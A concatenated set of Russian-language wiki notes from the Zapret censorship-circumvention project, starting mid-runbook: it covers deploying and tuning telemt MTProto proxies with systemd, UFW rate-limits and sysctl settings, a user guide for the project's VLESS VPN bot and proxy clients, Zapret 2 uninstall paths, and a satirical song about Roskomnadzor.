капабилити для bind на привилегированные порты (443): ```python python3 << 'PYEOF' descs = {1: "443 cloudflare", 2: "5223 apple", 3: "8530 microsoft"} for n, d in descs.items(): svc = f"""[Unit] Description=Telemt Proxy {n} ({d}) After=network-online.target Wants=network-online.target [Service] Type=simple User=telemt Group=telemt WorkingDirectory=/opt/telemt ExecStart=/bin/telemt /etc/telemt/telemt{n}.toml Restart=on-failure RestartSec=5 LimitNOFILE=65536 AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CapabilityBoundingSet=CAP_NET_ADMIN CAP_NET_BIND_SERVICE NoNewPrivileges=true [Install] WantedBy=multi-user.target """ open(f"/etc/systemd/system/telemt{n}.service", "w").write(svc) PYEOF systemctl daemon-reload ``` `CAP_NET_BIND_SERVICE` нужен для bind на привилегированный порт 443 (юзер `telemt` — не root). `CAP_NET_ADMIN` присутствует в юните из гайда **без объяснения**, и для `client_mss` он, скорее всего, **не требуется**: MSS на сокете задаётся через `setsockopt(TCP_MAXSEG)` — это непривилегированная опция (там, где MSS клампят netfilter-правилом, как `--set-mss 88` в mtproto.zig, это отдельный install-шаг от root, а не капабилити демона). > [!warning] CAP_NET_ADMIN — широкая капабилити, не «узкий доступ к MSS» > Она даёт управление **всей** сетевой подсистемой (интерфейсы, маршрутизация, netfilter, BPF, promisc) — при RCE это почти эквивалентно root по сети и обнуляет смысл запуска не под root. Если telemt стартует без неё — **убери `CAP_NET_ADMIN`** из `AmbientCapabilities`/`CapabilityBoundingSet`, оставив только `CAP_NET_BIND_SERVICE`. Если без неё не стартует (`EPERM` в `journalctl`) — оставь, но как наблюдение, а не как «нужна для MSS». --- ## Шаг 6. UFW — порты и защита от зондирования > [!danger] Сначала SSH, потом enable > Разреши SSH-порт **до** `ufw enable`, иначе отрежешь себе доступ к серверу. Если SSH не на 22 — поставь свой. ```bash ufw allow 22/tcp # SSH — первым делом ufw allow 443/tcp ufw allow 5223/tcp ufw allow 8530/tcp ufw --force enable ufw status ``` ### Rate-limit: 1 SYN/сек с IP на каждый порт Троттлит быстрые реконнект-штормы и простое зондирование **с одного IP**. Важно честно понимать границы (правило пропускает первый SYN и считает по source-IP): - ❌ **не** ловит распределённое зондирование РКН (1 probe = 1 SYN с нового IP — проходит); - ❌ **не** размывает агрегатный «залп» от множества клиентов (его ТСПУ считает по SNI на своей стороне, а не по source-IP на сервере — это работа pacing/разных портов, см. [[Zapret/mtproto/10-telemt-logs-dpi|10-telemt-logs-dpi]]); - ✅ реально режет шторм реконнектов/коннектов с **одного** адреса. > [!danger] Осторожно за CGNAT (мобильные операторы РФ) > За одним публичным IP оператора сидят десятки-сотни абонентов. Жёсткий лимит «1 SYN/сек на IP» будет **дропать коннекты легитимных пользователей** с того же адреса (а целевая аудитория прокси — как раз мобильные RU-сети). Туда же — ретрансмит SYN при потерях на канале (повтор в окне 1 с попадёт под DROP и затянет установку). При жалобах на нестабильность ослабь правило (подними `--seconds`/добавь `--hitcount`) или сними rate-limit с части портов. Сначала — модуль ядра и бэкап: ```bash modprobe xt_recent echo xt_recent > /etc/modules-load.d/xt_recent.conf cp /etc/ufw/before.rules /etc/ufw/before.rules.bak.$(date +%s) lsmod | grep xt_recent # ДОЛЖЕН вывести строку — иначе правила не подтянутся ``` > [!danger] Без `xt_recent` правила тихо пропадают > Если `lsmod | grep xt_recent` пустой — модуль не загружен, и UFW при `reload` **молча выбросит** правила с `-m recent`. Сначала добейся, чтобы `modprobe` прошёл и `lsmod` показал модуль, и только потом `ufw reload`. Вставка правил в `ufw-before-input` (после established). **Каждому порту — свой список** (`mtp443`, `mtp5223`…): ```python python3 << 'PYEOF' PORTS = [443, 5223, 8530] # ← СВОИ ПОРТЫ path = "/etc/ufw/before.rules" lines = open(path).readlines() if any("MTProto rate-limit" in l for l in lines): print("правила уже есть, пропуск"); raise SystemExit idx = None for i, l in enumerate(lines): if "ufw-before-input -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT" in l: idx = i + 1; break if idx is None: print("ОШИБКА: точка вставки не найдена"); raise SystemExit block = ["\n# === MTProto rate-limit (1 SYN/сек на IP per-port) ===\n"] for p in PORTS: block.append(f"-A ufw-before-input -p tcp --dport {p} --syn -m recent --name mtp{p} --rcheck --seconds 1 -j DROP\n") block.append(f"-A ufw-before-input -p tcp --dport {p} --syn -m recent --name mtp{p} --set -j ACCEPT\n") block.append("# === конец MTProto rate-limit ===\n") lines[idx:idx] = block open(path, "w").writelines(lines) PYEOF ufw reload ``` > [!warning] Тонкость per-port — иначе Telegram «отваливается» > Один общий список на все порты ломает переключение прокси: Telegram при смене прокси шлёт SYN на несколько портов **одновременно с одного IP в одну секунду**, общий лимит рубит лишние — и прокси отваливается. Раздельные списки решают это. > [!note] Связь с лимитом SYN-ACK > Здесь ограничиваются **входящие** SYN (по IP-источнику). Это родственник, но не то же самое, что **исходящий** лимит SYN-ACK из [[Zapret/mtproto/10-telemt-logs-dpi#Лимит SYN-ACK — помогает или нет|10-telemt-logs-dpi]] (там цель — заставить DPI ретрансмитить и десинхронизироваться). Считают они по-разному (входной SYN-лимит — по **source-IP**, SYN-ACK-лимит — **по порту**), но **ни один не агрегирует по SNI** на стороне сервера — поэтому против межклиентского «залпа» на один SNI оба бессильны; для этого нужны pacing и разнос по портам/доменам. --- ## Шаг 7. Запуск и проверка ```bash systemctl enable telemt1 telemt2 telemt3 systemctl start telemt1 telemt2 telemt3 sleep 3 systemctl is-active telemt1 telemt2 telemt3 # три раза active ss -tlnp | grep -E ':443|:5223|:8530' # порты слушает telemt iptables -L ufw-before-input -n | grep recent # правила rate-limit живы ls -la /opt/telemt/tlsfront/ # подтянутые серты доменов (.json, десятки КБ) journalctl -u telemt1 -n 20 --no-pager | grep -iE "error|panic|bind" ``` **Признаки успеха:** три `active`; в `/opt/telemt/tlsfront/` лежат `www.apple.com.json` и др.; `Skipping IPv6 listener` — это норма (IPv6 выключен). > [!tip] Если правил rate-limit не видно (grep по recent пустой) > Две частые причины: (1) **`xt_recent` не был загружен** на момент `ufw reload` — UFW тихо отбросил правила → `modprobe xt_recent` + `ufw reload`; (2) система на **nftables** (Ubuntu 22.04+) — правило работает, просто `iptables -L` его не показывает; смотри через `nft list chain inet filter ufw-before-input | grep -i recent`. --- ## Шаг 8. Ссылки для клиентов Ссылки telemt собирает сам — берём из API каждого инстанса (только IPv4-вариант): ```bash for p in 9091 9092 9093; do curl -s http://127.0.0.1:$p/v1/users \ | python3 -c "import sys,json; print(json.load(sys.stdin)['data'][0]['links']['tls'][0])" done ``` Вывод — готовые `tg://proxy?server=IP&port=…&secret=ee…`, открываются в один тап. IP можно заменить на домен, если он указывает на сервер. --- ## Фикс зависаний на iOS (отдельный слой) **Симптом:** на iOS Telegram перестаёт коннектиться к прокси после сворачивания приложения — помогает только переключение на другой прокси. **Причина:** iOS усыпляет приложение и рвёт сокет «не чисто». Сервер держит мёртвый `established`-коннект, при возврате клиент залипает на нём. **Решение:** ускоренный TCP keepalive. telemt ставит `SO_KEEPALIVE`, и ядро само быстро пробивает тихий коннект, рвёт его RST-ом за ~105с (60 + 15×3, **худший случай при полном молчании сокета** — при активном трафике таймер сбрасывается) — клиент делает чистый реконнект. Это **системные дефолты** keepalive: применятся к любому сокету с `SO_KEEPALIVE` (в т.ч. `sshd`), а не только к telemt — но затрагивают лишь интервалы проб тишины, активные соединения не рвут: ```bash cat > /etc/sysctl.d/99-tg-keepalive.conf << 'EOF' net.ipv4.tcp_keepalive_time = 60 net.ipv4.tcp_keepalive_intvl = 15 net.ipv4.tcp_keepalive_probes = 3 EOF sysctl --system ``` > [!note] Это другой слой > Keepalive лечит **залипание клиента на мёртвом сокете**, а не DPI-детект выше по пути. Не путать со слоями анти-DPI. --- ## Управление и обновление ```bash # статистика по инстансу curl -s http://127.0.0.1:9091/v1/users | jq '.data[] | {user:.username, conns:.current_connections, ips:.active_unique_ips}' curl -s http://127.0.0.1:9091/v1/stats/summary | jq '.data' # обновление telemt (с остановкой инстансов) cd /tmp TELEMT_VERSION=3.4.25 wget -qO- "https://github.com/telemt/telemt/releases/download/${TELEMT_VERSION}/telemt-x86_64-linux-gnu.tar.gz" | tar -xz systemctl stop telemt1 telemt2 telemt3 mv /tmp/telemt /bin/telemt && chmod +x /bin/telemt systemctl start telemt1 telemt2 telemt3 /bin/telemt --version # рестарт / логи systemctl restart telemt{1,2,3} # все сразу journalctl -u telemt1 -f # логи в реальном времени ``` После правки конфига — `systemctl restart telemtN`. Активные клиенты переподключатся не сразу (возможно, придётся переоткрыть Telegram). Ссылки не меняются, если не трогал секрет / порт / домен. --- ## Боевой профиль Gamma / 5223: самый удачный вариант из тестов На сервере `150.241.74.213` лучший практический результат дал не максимально жёсткий профиль из базового гайда, а более мягкая настройка **второго инстанса** `telemt2` на порту `5223`: ```toml [server] public_port = 5223 port = 5223 client_mss = "" [censorship] tls_domain = "www.apple.com" mask = true mask_port = 443 unknown_sni_action = "mask" ``` Что здесь важно: | Настройка | Почему так | |---|---| | `5223` | запасной порт Telegram/Apple Push, часто выглядит менее подозрительно, чем случайный высокий порт | | `tls_domain = "www.apple.com"` | маскировка под обычный TLS к Apple; для `5223` в тесте это оказалось устойчивее | | `unknown_sni_action = "mask"` | на неожиданный SNI не рубим рукопожатие, а отвечаем маской; это помогло реальным клиентам, у которых SNI приходил неидеально | | `client_mss = ""` | отключаем MSS-дробление именно на `5223`; в тесте это снизило пинг и не ломало соединение | | `mask = true` / `mask_port = 443` | telemt ходит за настоящей TLS-маской на сайт из `tls_domain` | > [!important] Почему это не противоречит базовому гайду > `client_mss="tspu"` и `unknown_sni_action="reject_handshake"` — хороший **жёсткий анти-DPI профиль**, но он может ухудшать реальную пользовательскую связь: первый коннект становится дольше, пинг растёт, а часть клиентов чаще упирается в `Telegram handshake timeout`. Для рабочего публичного прокси цель не «максимально жёстко любой ценой», а **достаточно похоже на обычный трафик и при этом не ломает пользователей**. Поэтому `5223` лучше держать мягким и быстрым, а более жёсткие варианты оставить на других портах как запас. ### Сетевой профиль ядра для меньшего пинга На этом же сервере заметное улучшение дал BBR + fq: ```bash cat > /etc/sysctl.d/98-vpnbot-telemt-bbr.conf << 'EOF' net.core.default_qdisc = fq net.ipv4.tcp_congestion_control = bbr net.ipv4.tcp_slow_start_after_idle = 0 EOF cat > /etc/modules-load.d/vpnbot-telemt-bbr.conf << 'EOF' tcp_bbr sch_fq EOF modprobe tcp_bbr modprobe sch_fq sysctl --system ``` - **BBR** — алгоритм управления TCP-скоростью: старается держать канал заполненным, но не раздувать очередь пакетов до огромной задержки. - **fq** — дисциплина очереди, которая честнее раскладывает пакеты по потокам. - `tcp_slow_start_after_idle = 0` — после паузы TCP не начинает заново слишком осторожный «разгон», поэтому прокси быстрее оживает после простоя. Проверка: ```bash sysctl net.ipv4.tcp_congestion_control net.core.default_qdisc net.ipv4.tcp_slow_start_after_idle ``` Ожидаемо: ```text net.ipv4.tcp_congestion_control = bbr net.core.default_qdisc = fq net.ipv4.tcp_slow_start_after_idle = 0 ``` ### Firewall для 5223: оставить строгий per-port rate-limit Парадоксальный, но важный результат теста: **полное снятие rate-limit с `5223` ухудшило первое подключение**. В логах пошёл шквал: ```text Telegram handshake timeout ``` Поэтому рабочий вариант — оставить именно per-port правило `1 SYN/сек`: ```text -A ufw-before-input -p tcp --dport 5223 --syn -m recent --name mtp5223 --rcheck --seconds 1 -j DROP -A ufw-before-input -p tcp --dport 5223 --syn -m recent --name mtp5223 --set -j ACCEPT ``` Смысл такой: Telegram-клиент при плохом старте может быстро плодить новые подключения. Без ограничения это превращается в волну незавершённых рукопожатий. Строгий per-port лимит не ускоряет сам TLS/MTProto, но помогает не устраивать локальный шторм попыток с одного IP. ### Проверка, что профиль здоровый ```bash systemctl is-active telemt2 ss -tlnp | grep ':5223' journalctl -u telemt2 --since "10 min ago" --no-pager ss -tan sport = :5223 | grep ESTAB ``` Хорошая картина: - `telemt2` — `active`; - `Listening on 0.0.0.0:5223`; - в старте есть строки `Telegram DC Connectivity`; - ближайшие DC около `30-40 ms`; - есть `ESTAB`-соединения от реальных клиентов; - отдельные `Telegram handshake timeout` допустимы, если сервис живой и есть устойчивые `ESTAB`-сессии. Плохая картина: - сервис постоянно перезапускается; - нет `Listening on 0.0.0.0:5223`; - порт закрыт с прод-бота; - все попытки от одного реального клиента превращаются только в `Telegram handshake timeout`, без появления `ESTAB`. Итоговый принцип для продакшена: **443/8530 можно держать более жёсткими как запасные анти-DPI профили, а 5223 держать как основной быстрый профиль для реальных пользователей**. --- ## Чем этот runbook отличается от [[Zapret/mtproto/03-telemt|03-telemt]] | | 03-telemt | этот runbook | |---|---|---| | Развёртывание | Docker, один инстанс | бинарник + systemd, **3 инстанса** | | Анти-DPI | базовый `tls_emulation` | + `client_mss="tspu"` + **UFW rate-limit per-port** | | Запас на блокировку порта | нет | разные порты/домены на инстанс | | iOS-залипание | — | sysctl keepalive | | Фокус | API и управление юзерами | **закалка от ТСПУ под нагрузкой** | --- > [!note] Что из этого — дословно из гайда, а что авторская сборка > Из гайда assyoucandy подтверждены `client_mss="tspu"`→MSS=92, `tls_emulation`, per-port rate-limit на `xt_recent`, sysctl-keepalive и грабли с SSH/`xt_recent`. Конкретный systemd-юнит, схема 3 инстансов и часть пояснений (семантика флагов, назначение капабилити) — адаптация/реконструкция: на лендинге гайда они дословно не приведены, детали — «в полном гайде». ## 📚 См. также - [[Zapret/mtproto/03-telemt|03-telemt]] — базовая установка telemt, REST API, per-user лимиты - [[Zapret/mtproto/10-telemt-logs-dpi|Чтение логов и лимит SYN-ACK]] — как по логам поймать активный детект ТСПУ, per-port pacing - [[mtproxy/ja4-sni-client-side|Кто может менять JA4/SNI]] — почему `client_mss`/rate-limit не меняют почерк, а чистый обход только клиентский - [[mtproxy/mtproto-zig-setup|Настройка mtproto.zig (runbook)]] — тот же приём фрагментации (TCPMSS=88) и SYN-приёмы на Zig - [[Zapret/mtproto/02-implementations|Реализации MTProxy]] — telemt в ряду других - [[Zapret/mtproto/05-censorship|ТСПУ: каскад детекции MTProto]] - 🔗 [Источник: telemt-server-guide (assyoucandy)](https://assyoucandy.github.io/telemt-server-guide/) — оригинальный гайд - 🔗 [Фикс keepalive (iOS)](https://assyoucandy.github.io/telemt-server-guide/telemt-keepalive-guide.html) --- --- tags: link: aliases: img: --- # Пути установки Zapret 2 GUI ## Stable ветка - Путь установочных файлов в проводнике — `C:\ProgramData\ZapretTwo` - Путь реестра — `Компьютер\HKEY_CURRENT_USER\SOFTWARE\Zapret2Reg` ## Dev ветка - Путь установочных файлов в проводнике — `C:\ProgramData\ZapretTwoDev` - Путь реестра — `Компьютер\HKEY_CURRENT_USER\SOFTWARE\Zapret2DevReg Чтобы удалить программу запустите `unins000.exe` файл по пути `C:\ProgramData\ZapretTwo\unins000.exe` для stable и `C:\ProgramData\ZapretTwoDev\unins000.exe` для dev. Чтобы очистить реестр запустите через `win + x` -> `Windows PowerShell (администратор)` -> `reg delete "HKCU\SOFTWARE\Zapret2Reg" /f` для stable и `reg delete "HKCU\SOFTWARE\Zapret2DevReg" /f` для dev --- --- height: 9500 --- # Всё о Zapret Premium и Zapret VPN (подробная инструкция) [[home|На главную]] Zapret полностью бесплатная программа. И такой всегда будет оставаться. Однако многие пользователи хотят отплатить нам за наш труд. И это правильно. Мы даём такую **ДОБРОВОЛЬНУЮ** возможность всем нашим пользователям. Поэтому и придумали несколько уровней подписок. Все дополнительные функции являются необязательными и НЕ влияют на работу программы — это наш принцип, которого мы придерживаемся и всегда будем защищать. Поэтому не удивляйтесь что платные возможности не такие широкие и Вы платите за "воздух". Вы уже сильно экономите используя нашу программу вместо VPN! ### [[premium/premium|Что такое Zapret Premium?]] ### [[premium/zapret_premium|Как активировать Zapret Premium?]] ### [[premium/discord|Как настроить Discord через VPN правильно]] ### [[premium/zapret-vpn-bot|Как устроен Zapret VPN-бот и почему он не ограничивает выбор клиента]] ---- # 2. Как пользоваться Zapret VPN (KVN) и получить VPN ключ Предположим вы купили `MasterVless` или `MasterVless+`. Как же получить VPN после покупки? 2.1. Запросить ключ Вы можете через команду `/inbounds` в боте https://t.me/zapretvpns_bot ![[Pasted image 20250928205040.png]] 2.2. Выбрать любой сервер из доступных: ![[Pasted image 20250928205058.png]] 2.3. Создать новый конфиг: ![[Pasted image 20250928205154.png]] 2.4. Выбрать любой порт (рекомендуется начать с `443`): ![[Pasted image 20250928205332.png]] 2.5. Вы получите новый ключ, который нужно будет скопировать чтобы потом вставить в программу: ![[Pasted image 20250928205411.png]] Далее подробнее как вставить ключ на разных системах и что делать если VPN не работает. # ![[windows-logo.png|30]] 3. Windows 3.1. [Скачать](https://github.com/2dust/v2rayN/releases) vless клиент ![[IMG-20251106123439193.png]] 3.2. Распаковать из zip архива ![[IMG-20251106123502981.png]] 3.3. Запустить `exe` файл программы ![[IMG-20251106123532495.png]] 3.4. Скопировать этот ключ и вставить как на скриншоте (или через горячую клавишу вставить – `ctrl + v`) ![[IMG-20251106123739457.png]] 3.5. Далее следует выбрать режим `Установить системный прокси`. > Если он уже установлен нажмите на `Очистить системный прокси`, после чего снова выберите `Установить системный прокси`! **Это обязательно!** ![[IMG-20251106123807637.png]] Далее следует перейти к настройкам программ. ## 3.1. Как добавить свою игру/приложение в режим VPN Убедитесь что у вас включён режим VPN и выбрана маршрутизация Zapret KVN, а системный прокси выбран на очистить: ![[Pasted image 20251120222419.png]] Перейдите в настройки маршрутизации: ![[Pasted image 20251120222436.png]] Выберите правило Zapret KVN: ![[Pasted image 20251120222537.png]] Нажмите добавить правило: ![[Pasted image 20251120222556.png]] После чего включите впишите полное имя процесса (регистр важен) в окно Полное имя процесса (режим TUN): ![[Pasted image 20251120222623.png]] Узнать название приложения можно через диспетчер задач (учтите если это игра, то она может создавать несколько `exe` процессов с разным названием, важно добавить каждый): ![[Pasted image 20251120222720.png]] # 4. Как настроить программы на использование прокси Для начала стоит рассказать почему мы используем режим прокси, а не режим VPN. Почему жизненно необходимо НЕ пропускать все сайты через VPN, а вместо этого использовать режим прокси? 1. Когда Вы постоянно подключаетесь к одному и тому же серверу Роскомнадзор видит что 99% времени Вы используете только один сервер (один IP адрес). Само по себе это уже очень подозрительно и лично для **ВАС** (*как клиента провайдера*) может сработать автоматический фильтр на использование VPN, что приводит к печальным последствиям: - Это приводит к тому что скорость может быть замедлена или ограничена вообще к этому серверу. - Это также может быть опасно если когда-либо введут штрафы за использование VPN. 2. Если пропускать через VPN только часть ресурсов (в режиме прокси), то сервера VPN работают быстрее. По умолчанию вся телеметрия системы Windows/Android и так далее работает через VPN, что создаёт очень много **мусорного** (*и бесполезного*) трафика. Это негативно влияет на скорость подключения, в особенности если она у Вас и так (*даже без VPN*) не высока. ## 4.1. Настройка браузеров Chrome или Firefox 4.1.1 Скачайте расширение для [Chrome](https://chromewebstore.google.com/detail/proxy-switchyomega-3-zero/pfnededegaaopdmhkdmcofjmoldfiped) или [Firefox](https://addons.mozilla.org/en-US/firefox/addon/zeroomega/) 4.1.2 Перейдите в настройки расширения: ![[IMG-20251106124422665.png]] 4.1.3 Далее выберите профиль `proxy`: ![[IMG-20251106124443197.png]] 4.1.4 После чего выберите протокол `SOCKS5`, оставьте адрес `127.0.0.1` и измените порт на `10808`: ![[IMG-20251106124504027.png]] 4.1.5 Нажмите кнопку применить изменения: ![[IMG-20251106124556230.png]] 4.1.6. Далее выберите в расширении `auto switch` (чтобы добавлять свои сайты): Auto Switch — режим автоматического переключения прокси на основе правил. Позволяет направлять трафик разных сайтов через разные прокси или напрямую. Принцип работы: 1. Запрос от браузера → ZeroOmega проверяет URL по списку правил сверху вниз 2. Совпадение найдено → применяется указанное действие (прокси или direct) 3. Совпадений нет → применяется действие по умолчанию (Default) | Тип | Синтаксис | Пример | Что совпадёт | | ------------- | ------------------- | -------------------------- | -------------------------- | | Host wildcard | `*.example.com` | `*.youtube.com` | Все поддомены youtube.com | | Host exact | `example.com` | `twitter.com` | Только twitter.com | | URL wildcard | `*://example.com/*` | `*://instagram.com/*` | Любой протокол, любой путь | | URL regex | `/regex/` | `/^https?://.*\.google\./` | Все домены Google | | CIDR | `192.168.1.0/24` | `10.0.0.0/8` | Диапазон IP-адресов | Структура профиля: ``` [Auto Switch] ├── Rule 1: *.youtube.com → через прокси ├── Rule 2: *.google.com → через прокси ├── Rule 3: 192.168.0.0/16 → напрямую ├── ... └── Default: direct (или proxy) ```

Варианты настройки

- Вариант А: Белый список (рекомендуется) Default: `[Direct]` Правила: добавляете только сайты, которые нужно пропускать через VPN Подходит для: экономии трафика, доступа к заблокированным сайтам - Вариант Б: Чёрный список Default: `[Proxy]` Правила: добавляете сайты, которые должны идти напрямую Подходит для: максимальной приватности, когда большая часть трафика через VPN Правила проверяются сверху вниз — первое совпадение срабатывает Включить режим: ![[IMG-20251106125202797.png]] Прокси в браузере настроен. Теперь Вы можете настраивать сайты 2 способами. ### 4.1.1. Настройки через переход на сам сайт 4.1.1.1. Перейдите на любой сайт и дождитесь его загрузки: ![[IMG-20251106124726511.png]] 4.1.1.2. Сам сайт не загрузится – но сверху появится возможность добавить его через прокси в расширении, для этого нажмите `Add condition`: ![[IMG-20251106124746297.png]] 4.1.1.3. После чего выберите профиль прокси и нажмите на синюю кнопку: ![[IMG-20251106124825974.png]] 4.1.1.4. После этих настроек сайт сам перезагрузится и должен прогрузиться. Если этого не происходит снова наведите на расширение и посмотрите какие ресурсы не прогружаются: ![[IMG-20251106124926425.png]] 4.1.1.5. Также добавьте их в прокси: ![[IMG-20251106124945649.png]] После этого сайт должен загрузиться (Вы великолепны!): ![[IMG-20251106125004065.png]] ### 4.1.2. Настройка сайтов через настройки расширения Само расширение `ZeroOmega` поддерживает настройку сайтов. Для этого перейдите в настройки: ![[IMG-20251106125231353.png]] 4.1.2.1. Далее перейдите в профиль `auto switch`: ![[IMG-20251106125244646.png]] Если будет гайд можете его пропустить: ![[IMG-20251106125258514.png]] 4.1.2.2. Здесь откроется меню сайтов которые вы можете добавить, используйте `*` если хотите добавить поддомены. Например `*.google.com` будет пропускать через прокси и `mail.google.com` и `gemini.google.com`: ![[IMG-20251106125400537.png]] Для добавления нового сайта используется кнопка: ![[IMG-20251106125418068.png]] Вы можете настраивать сайты и в текстовом формате, кликнув сюда: ![[IMG-20251106125443638.png]] По умолчанию настройка выглядит вот так: ```c [SwitchyOmega Conditions] @with result internal.example.com +direct *.example.com +proxy * +direct ``` Первые 2 строчки обязательны, в конце используется директива `* +direct` которая указывает что все остальные сайты пропускаются напрямую без прокси. Чтобы добавить свои сайты впишите например домены ютуба: ```c *.youtube.com +proxy *.googlevideo.com +proxy youtu.be +proxy *.ytimg.com +proxy ``` В результате должно получиться: ``` [SwitchyOmega Conditions] @with result internal.example.com +direct *.example.com +proxy *.youtube.com +proxy *.googlevideo.com +proxy youtu.be +proxy *.ytimg.com +proxy * +direct ``` По такому же принципу добавляете новые сайты. После каждого изменения можете убрать режим исходного кода (чтобы проверить что нет ошибки синтаксиса) и нажать на зеленую кнопку применения изменений: ![[IMG-20251106125818685.png]] ## 4.3. Настройка Spotify По умолчанию Spotify должен подхватить прокси самостоятельно. Если он этого не сделал, перейдите в настройки: ![[IMG-20251106131524427.png]] Пролистайте вниз и найдите настройки прокси: ![[IMG-20251106131539781.png]] После чего введите наши данные прокси и перезапустите приложение: ![[IMG-20251106131618434.png]] # 5. Сменить SNI без бота Вы можете не пользоваться командой `/sni` и менять SNI (НО ТОЛЬКО ИЗ СПИСКА РАЗРЕШЕННЫХ В БОТЕ!) в ключе в этом поле: ![[Pasted image 20250928210307.png]] Полный список SNI доступен в конце документа. # Android Получение ключа в боте аналогичное. Клиент скачивается по [ссылке](https://github.com/2dust/v2rayNG/releases) Номер версии может отличаться, но в 99% случаев для современных смартфонов архитектура вашего телефона уже является `arm64`, поэтому следует выбрить этот файл: ![[Pasted image 20251014145618.png]] # IOS Получение ключа в боте аналогичное. Клиент скачивается по [ссылке](https://apps.apple.com/us/app/v2raytun/id6476628951) # VPN не работает (или обход белых списков) Наш VPN умеет обходить белые списки в 80% случаев. Вот что следует сделать. ## Сменить порт (создать ещё один inbounds) Для начала Вам следует поменять порт у ключа – для этого опять воспользуйтесь командой `/inbounds`: ![[Pasted image 20250928205719.png]] Выберите любой сервер и создайте ещё один конфиг: ![[Pasted image 20250928205737.png]] Выберите первый свободный порт: ![[Pasted image 20250928205749.png]] Потом Вам снова выдастся ключ. Вы можете опробовать его. Если это не помогло – повторите всё сначала на другом порту, пока свободные порты не закончатся. Если и это не помогло – меняем `/sni`. ## Сменить SNI Введите команду `/sni` и выберете смену `SNI`: ![[Pasted image 20250928205912.png]] Вместо выбранного галочкой SNI выберите следующий по списку: ![[Pasted image 20250928205940.png]] Далее введите команду `/inbounds` и получите ключи в боте через кнопку: ![[Pasted image 20250928210018.png]] В результате будет список из нескольких ключей – скопируйте сообщение и вставьте в программу (они должны все одновременно вставиться автоматически). > [!tip] СОВЕТ > Вы можете менять SNI БЕЗ БОТА! Подробнее описано ниже! Если это не помогло – выберите другой SNI и попробуйте все порты со всеми серверами ещё раз. В какой-то момент (с каким-то сервером, на каком-то порту и с каким-то SNI) соединение установится. # Как исправить ошибку `not_success_statuscode_reason, 403, Forbidden` В последнее время Роскомназдор начал блокировать или замедлять сайт который определяет скорость подписки в v2rayN. В таком случае его следует заменить. Ошибка выглядит как-то так: ![[Pasted image 20260204184039.png]] Чтобы это исправить - перейдите в настройки приложения: ![[Pasted image 20260204184109.png]] Далее в настройках `v2rayN settings` измените `Speed Test URL` на данный адрес: ```bash https://speedtest.selectel.ru/100MB ``` ![[Pasted image 20260204184111.png]] Нажмите `Confirm` (`Применить`). Теперь скорость серверов должна работать: ![[Pasted image 20260204184234.png]] ![[vless-sni]] --- --- date: 2026-06-24 tags: - сатира - песня - rkn - цензура aliases: - РКН-тян — Жу-жу-жу - Песня РКН-тян - Жу-жу-жу - Гимн РКН-тян --- # 🎤 РКН-тян — «Жу-жу-жу» (сатирическая песня) > [!info] О чём это > Пародийный текст-филк от лица **РКН-тян** — собирательного образа Роскомнадзора (РКН) в виде аниме-персонажа («-тян»), за которым закрепилась интернет-сатира на блокировки. Песня спета будто её голосом и обыгрывает события июня 2026 года: обновление ТСПУ, блокировку облачных подсетей «по белому списку» и сопутствующий отвал Twitch, Discord и других сервисов. Фактическая хроника этих событий — в заметках [[tspu-whitelist-cloudflare-june-2026|Инцидент 23 июня 2026]], [[subnet-whitelist-blocking-2026|Блок подсетей по белому списку]] и [[twitch-block-2026|Блокировка Twitch (2026)]]. > [!warning] Это сатира > Текст — художественная пародия и преувеличение, написанное под музыкальный размер. «Голос» РКН-тян здесь — приём иронии: от её лица проговариваются ровно те абсурды, которые на практике критикуют у блокировок (ковровый блок облаков, отрицание ответственности, удар по «своим»). Не стоит читать это как реальные заявления ведомства. --- *[проигрыш]* *[Куплет 1]* Ну-с! По проводам крадусь не спеша, каждый байт стерегу, не дыша. Кто полез в мою сеть увижу и отправлю на убой Ишь! Там я создам тебе новый сбой ставлю печать на твоём ярлыке. Кто не вписался в дозволенный круг — тех отправлю один за другим на покой. *[Предприпев]* Ооооох, снова в комментах какой-то ор, ноете вы с давних пор. Дальше пинга и носа не видно вам ни черта. Жалуйтесь хоть до утра — мне по списку кромсать пора: ваш каприз подождёт, а приказ — он закон. Ну.... же! *[Припев]* Жу-жу — глушилка жужжит, жу-жу — весь народ уже кипит, жу-жу — но я не тужу, жу-жу — всё своё я жужжу. Жу-жу — хоть ВПН ты весь включай, жу-жу — хоть айпи ты весь меняй, жу-жу — не уйдёшь ты от меня, жу-жу… *[Распев]* Снова в обход ты крадёшься, упрямый чудак, фейк подмешал, по чужим адресам запетлял Думаешь, спрятался? Нет, ты не уйдёшь я на твоём же пути, и однажды тебя изловлю. *[проигрыш 8-bit небольшой]* *[Куплет 2]* Роняю клауд чтоб была движуха, придавлю амазон под сукно зачем он нужен? Twitch обрублю — и Discord молчок (*заодно, да он заодно*). GitHub с аватарками в угол задвину — Reddit с Твичем — следом в бан закину: обоих под нож, заодно — ты не тоскуй, ты не проморгни. *[Предприпев (со срывом)]* Что вы там голосите, опять? «Почини!» — да мне наплевать. Хоть дроби себе пакет, хоть пытайся обойти через Запрет феееееейк твой вижу насквозь, твои обходы — это несерьёз: рот закройте, не слушаю — замолчите, довольно! ничего не поможет сдадитесь опять! [*тут резкий переход к распеву сразу же без паузы*] Что же... *[Распев]* Вчера ВПН пробивал мой кордон, молодец — полгода держался, гордился собой, да? Но, ночью прошивку я обновлю: твой верный рецепт — на помойку отправлю *[Финальный припев]* Жу-жу — что не любо я найду, жу-жу — где ни спрячь, я отыщу, жу-жу — я в Телеграм войду, жу-жу — Дурова я обману. Жу-жу — по следам нагоню, жу-жу — на крючок его посажу, жу-жу — раз поймала удержу, жу-жу — никуда не отпущу! --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Zapret/rkn-tan-zhu-zhu-zhu.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: tags: link: aliases: img: --- # Zapret (Zapret2) для роутеров для прошивок OpenWRT и Keenetic *запрет для обхода блокировок discord и youtube, дискорда и ютуба, запретов нет, обход блокировки дискорд и ютуб* ![[Pasted image 20260214232919.png|400]] ## OpenWRT ### [OpenWrt packages от remittor](https://github.com/remittor/zapret-openwrt) ![[Pasted image 20260214233919.png|500]] Мануал доступен 